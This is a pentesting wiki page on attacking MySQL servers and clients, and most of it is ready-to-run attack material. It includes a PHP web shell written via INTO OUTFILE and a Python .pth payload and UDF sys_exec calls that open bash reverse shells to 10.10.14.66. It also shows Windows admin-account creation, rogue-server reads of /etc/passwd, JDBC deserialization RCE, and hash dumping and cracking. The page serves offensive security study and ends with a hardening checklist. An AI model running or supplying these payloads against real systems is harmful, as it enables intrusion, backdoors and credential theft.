# 3306 - Pentesting Mysql

{{#include ../banners/hacktricks-training.md}}

## **Basic Information**

**MySQL** can be described as an open source **Relational Database Management System (RDBMS)** that is available at no cost. It operates on the **Structured Query Language (SQL)**, enabling the management and manipulation of databases.

**Default port:** 3306

```
3306/tcp open  mysql
```

## **Connect**

### **Local**

```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```

### Remote

```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```

## External Enumeration

Some of the enumeration actions require valid credentials

```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```

### [**Brute force**](../generic-hacking/brute-force.md#mysql)

### Write any binary data

```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```

## **MySQL commands**

```bash
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```

```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```

### MySQL Permissions Enumeration

```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```

You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)

### MySQL File RCE


{{#ref}}
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}

#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)

Abusing the classic `INTO OUTFILE` primitive it is possible to obtain *arbitrary code execution* on targets that later run **Python** scripts.

1. Use `INTO OUTFILE` to drop a custom **`.pth`** file inside any directory loaded automatically by `site.py` (e.g. `.../lib/python3.10/site-packages/`).
2. The `.pth` file can contain a *single line* starting with `import ` followed by arbitrary Python code which will be executed every time the interpreter starts.
3. When the interpreter is implicitly executed by a CGI script (for example `/cgi-bin/ml-draw.py` with shebang `#!/bin/python`) the payload is executed with the same privileges as the web-server process (FortiWeb ran it as **root** → full pre-auth RCE).

Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):

```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```

Example of crafting the file through an **UNION** query (space characters replaced with `/**/` to bypass an `sscanf("%128s")` space filter and keep the total length ≤128 bytes):

```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```

Important limitations & bypasses:

* `INTO OUTFILE` **cannot overwrite** existing files; choose a new filename.
* The file path is resolved **relative to MySQL’s CWD**, so prefixing with `../../` helps to shorten the path and bypass absolute-path restrictions.
* If the attacker input is extracted with `%128s` (or similar) any space will truncate the payload; use MySQL comment sequences `/**/` or `/*!*/` to replace spaces.
* The MySQL user running the query needs the `FILE` privilege, but in many appliances (e.g. FortiWeb) the service runs as **root**, giving write access almost everywhere.

After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:

```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```

The Python process will import the malicious `.pth` automatically and execute the shell payload.

```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```

---


## MySQL arbitrary read file by client

Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
Please notice that this is the behaviour using:

```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```

(Notice the "local" word)\
Because without the "local" you can get:

```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```

**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)

​



## POST

### Mysql User

It will be very interesting if mysql is running as **root**:

```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```

#### Dangerous Settings of mysqld.cnf

In the configuration of MySQL services, various settings are employed to define its operation and security measures:

- The **`user`** setting is utilized for designating the user under which the MySQL service will be executed.
- **`password`** is applied for establishing the password associated with the MySQL user.
- **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface.
- The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs.
- **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs.
- With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security.

### Privilege escalation

```bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```

### Privilege Escalation via library

If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql.

The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need.

If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**:

```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```

Now that you have the library, login inside the Mysql as a privileged user (root?) and follow the next steps:

#### Linux

```sql
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```

#### Windows

```sql
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```

#### Windows tip: create directories with NTFS ADS from SQL

On NTFS you can coerce directory creation using an alternate data stream even when only a file write primitive exists. If the classic UDF chain expects a `plugin` directory but it doesn’t exist and `@@plugin_dir` is unknown or locked down, you can create it first with `::$INDEX_ALLOCATION`:

```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```

This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.

### Extracting MySQL credentials from files

Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**

```bash
cat /etc/mysql/debian.cnf
```

You can **use these credentials to login in the mysql database**.

Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **all the hashes of the MySQL users** (the ones that you can extract from mysql.user inside the database)_._

You can extract them doing:

```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```

### Enabling logging

You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines:

![](<../images/image (899).png>)

### Useful files

Configuration Files

- windows \*
  - config.ini
  - my.ini
    - windows\my.ini
    - winnt\my.ini
  - \<InstDir>/mysql/data/
  - unix
    - my.cnf
      - /etc/my.cnf
      - /etc/mysql/my.cnf
      - /var/lib/mysql/my.cnf
      - \~/.my.cnf
      - /etc/my.cnf
- Command History
  - \~/.mysql.history
- Log Files
  - connections.log
  - update.log
  - common.log

## Default MySQL Database/Tables

{{#tabs}}
{{#tab name="information_schema"}}
ALL_PLUGINS\
APPLICABLE_ROLES\
CHARACTER_SETS\
CHECK_CONSTRAINTS\
COLLATIONS\
COLLATION_CHARACTER_SET_APPLICABILITY\
COLUMNS\
COLUMN_PRIVILEGES\
ENABLED_ROLES\
ENGINES\
EVENTS\
FILES\
GLOBAL_STATUS\
GLOBAL_VARIABLES\
KEY_COLUMN_USAGE\
KEY_CACHES\
OPTIMIZER_TRACE\
PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
REFERENTIAL_CONSTRAINTS\
ROUTINES\
SCHEMATA\
SCHEMA_PRIVILEGES\
SESSION_STATUS\
SESSION_VARIABLES\
STATISTICS\
SYSTEM_VARIABLES\
TABLES\
TABLESPACES\
TABLE_CONSTRAINTS\
TABLE_PRIVILEGES\
TRIGGERS\
USER_PRIVILEGES\
VIEWS\
INNODB_LOCKS\
INNODB_TRX\
INNODB_SYS_DATAFILES\
INNODB_FT_CONFIG\
INNODB_SYS_VIRTUAL\
INNODB_CMP\
INNODB_FT_BEING_DELETED\
INNODB_CMP_RESET\
INNODB_CMP_PER_INDEX\
INNODB_CMPMEM_RESET\
INNODB_FT_DELETED\
INNODB_BUFFER_PAGE_LRU\
INNODB_LOCK_WAITS\
INNODB_TEMP_TABLE_INFO\
INNODB_SYS_INDEXES\
INNODB_SYS_TABLES\
INNODB_SYS_FIELDS\
INNODB_CMP_PER_INDEX_RESET\
INNODB_BUFFER_PAGE\
INNODB_FT_DEFAULT_STOPWORD\
INNODB_FT_INDEX_TABLE\
INNODB_FT_INDEX_CACHE\
INNODB_SYS_TABLESPACES\
INNODB_METRICS\
INNODB_SYS_FOREIGN_COLS\
INNODB_CMPMEM\
INNODB_BUFFER_POOL_STATS\
INNODB_SYS_COLUMNS\
INNODB_SYS_FOREIGN\
INNODB_SYS_TABLESTATS\
GEOMETRY_COLUMNS\
SPATIAL_REF_SYS\
CLIENT_STATISTICS\
INDEX_STATISTICS\
USER_STATISTICS\
INNODB_MUTEXES\
TABLE_STATISTICS\
INNODB_TABLESPACES_ENCRYPTION\
user_variables\
INNODB_TABLESPACES_SCRUBBING\
INNODB_SYS_SEMAPHORE_WAITS
{{#endtab}}

{{#tab name="mysql"}}
columns_priv\
column_stats\
db\
engine_cost\
event\
func\
general_log\
gtid_executed\
gtid_slave_pos\
help_category\
help_keyword\
help_relation\
help_topic\
host\
index_stats\
innodb_index_stats\
innodb_table_stats\
ndb_binlog_index\
plugin\
proc\
procs_priv\
proxies_priv\
roles_mapping\
server_cost\
servers\
slave_master_info\
slave_relay_log_info\
slave_worker_info\
slow_log\
tables_priv\
table_stats\
time_zone\
time_zone_leap_second\
time_zone_name\
time_zone_transition\
time_zone_transition_type\
transaction_registry\
user
{{#endtab}}

{{#tab name="performance_schema"}}
accounts\
cond_instances\
events_stages_current\
events_stages_history\
events_stages_history_long\
events_stages_summary_by_account_by_event_name\
events_stages_summary_by_host_by_event_name\
events_stages_summary_by_thread_by_event_name\
events_stages_summary_by_user_by_event_name\
events_stages_summary_global_by_event_name\
events_statements_current\
events_statements_history\
events_statements_history_long\
events_statements_summary_by_account_by_event_name\
events_statements_summary_by_digest\
events_statements_summary_by_host_by_event_name\
events_statements_summary_by_program\
events_statements_summary_by_thread_by_event_name\
events_statements_summary_by_user_by_event_name\
events_statements_summary_global_by_event_name\
events_transactions_current\
events_transactions_history\
events_transactions_history_long\
events_transactions_summary_by_account_by_event_name\
events_transactions_summary_by_host_by_event_name\
events_transactions_summary_by_thread_by_event_name\
events_transactions_summary_by_user_by_event_name\
events_transactions_summary_global_by_event_name\
events_waits_current\
events_waits_history\
events_waits_history_long\
events_waits_summary_by_account_by_event_name\
events_waits_summary_by_host_by_event_name\
events_waits_summary_by_instance\
events_waits_summary_by_thread_by_event_name\
events_waits_summary_by_user_by_event_name\
events_waits_summary_global_by_event_name\
file_instances\
file_summary_by_event_name\
file_summary_by_instance\
global_status\
global_variables\
host_cache\
hosts\
memory_summary_by_account_by_event_name\
memory_summary_by_host_by_event_name\
memory_summary_by_thread_by_event_name\
memory_summary_by_user_by_event_name\
memory_summary_global_by_event_name\
metadata_locks\
mutex_instances\
objects_summary_global_by_type\
performance_timers\
prepared_statements_instances\
replication_applier_configuration\
replication_applier_status\
replication_applier_status_by_coordinator\
replication_applier_status_by_worker\
replication_connection_configuration\
replication_connection_status\
replication_group_member_stats\
replication_group_members\
rwlock_instances\
session_account_connect_attrs\
session_connect_attrs\
session_status\
session_variables\
setup_actors\
setup_consumers\
setup_instruments\
setup_objects\
setup_timers\
socket_instances\
socket_summary_by_event_name\
socket_summary_by_instance\
status_by_account\
status_by_host\
status_by_thread\
status_by_user\
table_handles\
table_io_waits_summary_by_index_usage\
table_io_waits_summary_by_table\
table_lock_waits_summary_by_table\
threads\
user_variables_by_thread\
users\
variables_by_thread
{{#endtab}}

{{#tab name="sys"}}
host_summary\
host_summary_by_file_io\
host_summary_by_file_io_type\
host_summary_by_stages\
host_summary_by_statement_latency\
host_summary_by_statement_type\
innodb_buffer_stats_by_schema\
innodb_buffer_stats_by_table\
innodb_lock_waits\
io_by_thread_by_latency\
io_global_by_file_by_bytes\
io_global_by_file_by_latency\
io_global_by_wait_by_bytes\
io_global_by_wait_by_latency\
latest_file_io\
memory_by_host_by_current_bytes\
memory_by_thread_by_current_bytes\
memory_by_user_by_current_bytes\
memory_global_by_current_bytes\
memory_global_total\
metrics\
processlist\
ps_check_lost_instrumentation\
schema_auto_increment_columns\
schema_index_statistics\
schema_object_overview\
schema_redundant_indexes\
schema_table_lock_waits\
schema_table_statistics\
schema_table_statistics_with_buffer\
schema_tables_with_full_table_scans\
schema_unused_indexes\
session\
session_ssl_status\
statement_analysis\
statements_with_errors_or_warnings\
statements_with_full_table_scans\
statements_with_runtimes_in_95th_percentile\
statements_with_sorting\
statements_with_temp_tables\
sys_config\
user_summary\
user_summary_by_file_io\
user_summary_by_file_io_type\
user_summary_by_stages\
user_summary_by_statement_latency\
user_summary_by_statement_type\
version\
wait_classes_global_by_avg_latency\
wait_classes_global_by_latency\
waits_by_host_by_latency\
waits_by_user_by_latency\
waits_global_by_latency\
x$host\_summary\
x$host_summary_by_file_io\
x$host\_summary\_by\_file\_io\_type\
x$host_summary_by_stages\
x$host\_summary\_by\_statement\_latency\
x$host_summary_by_statement_type\
x$innodb\_buffer\_stats\_by\_schema\
x$innodb_buffer_stats_by_table\
x$innodb\_lock\_waits\
x$io_by_thread_by_latency\
x$io\_global\_by\_file\_by\_bytes\
x$io_global_by_file_by_latency\
x$io\_global\_by\_wait\_by\_bytes\
x$io_global_by_wait_by_latency\
x$latest\_file\_io\
x$memory_by_host_by_current_bytes\
x$memory\_by\_thread\_by\_current\_bytes\
x$memory_by_user_by_current_bytes\
x$memory\_global\_by\_current\_bytes\
x$memory_global_total\
x$processlist\
x$ps_digest_95th_percentile_by_avg_us\
x$ps\_digest\_avg\_latency\_distribution\
x$ps_schema_table_statistics_io\
x$schema\_flattened\_keys\
x$schema_index_statistics\
x$schema\_table\_lock\_waits\
x$schema_table_statistics\
x$schema\_table\_statistics\_with\_buffer\
x$schema_tables_with_full_table_scans\
x$session\
x$statement_analysis\
x$statements\_with\_errors\_or\_warnings\
x$statements_with_full_table_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements_with_sorting\
x$statements\_with\_temp\_tables\
x$user_summary\
x$user\_summary\_by\_file\_io\
x$user_summary_by_file_io_type\
x$user\_summary\_by\_stages\
x$user_summary_by_statement_latency\
x$user\_summary\_by\_statement\_type\
x$wait_classes_global_by_avg_latency\
x$wait\_classes\_global\_by\_latency\
x$waits_by_host_by_latency\
x$waits\_by\_user\_by\_latency\
x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}

## HackTricks Automatic Commands

```
Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for MySql
  Note: |
    MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

    https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
  Name: Nmap
  Description: Nmap with MySql Scripts
  Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
  Name: MySql
  Description: Attempt to connect to mysql server
  Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
  Name: MySql consolesless mfs enumeration
  Description: MySql enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

```

​

## 2023-2025 Highlights (new)

### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
From Connector/J <= 8.0.32 an attacker who can influence the **JDBC URL** (for instance in third-party software that asks for a connection string) can request arbitrary classes to be loaded on the *client* side via the `propertiesTransform` parameter. If a gadget present on the class-path is loadable this results in **remote code execution in the context of the JDBC client** (pre-auth, because no valid credentials are required). A minimal PoC looks like:

```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```

Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set `propertiesTransform` on an allow-list.  
(See Snyk write-up for details)  

### Rogue / Fake MySQL server attacks against JDBC clients
Several open-source tools implement a *partial* MySQL protocol in order to attack JDBC clients that connect outwards:

* **mysql-fake-server** (Java, supports file read and deserialization exploits)
* **rogue_mysql_server** (Python, similar capabilities)

Typical attack paths:

1. Victim application loads `mysql-connector-j` with `allowLoadLocalInfile=true` or `autoDeserialize=true`.
2. Attacker controls DNS / host entry so that the hostname of the DB resolves to a machine under their control.
3. Malicious server responds with crafted packets that trigger either `LOCAL INFILE` arbitrary file read or Java deserialization → RCE.

Example one-liner to start a fake server (Java):

```bash
java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server
```

Then point the victim application to `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` and read `/etc/passwd` by encoding the filename as base64 in the *username* field (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).

### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 stores password hashes as **`$mysql-sha2$`** (SHA-256). Both Hashcat (mode **21100**) and John-the-Ripper (`--format=mysql-sha2`) support offline cracking since 2023. Dump the `authentication_string` column and feed it directly:

```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```

### Hardening checklist (2025)
• Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** to kill most file-read/write primitives.  
• Remove the **`FILE`** privilege from application accounts.  
• On Connector/J set `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (empty).  
• Disable unused authentication plugins and **require TLS** (`require_secure_transport = ON`).  
• Monitor for `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` and sudden `SET GLOBAL` statements.

---

## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)



- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)

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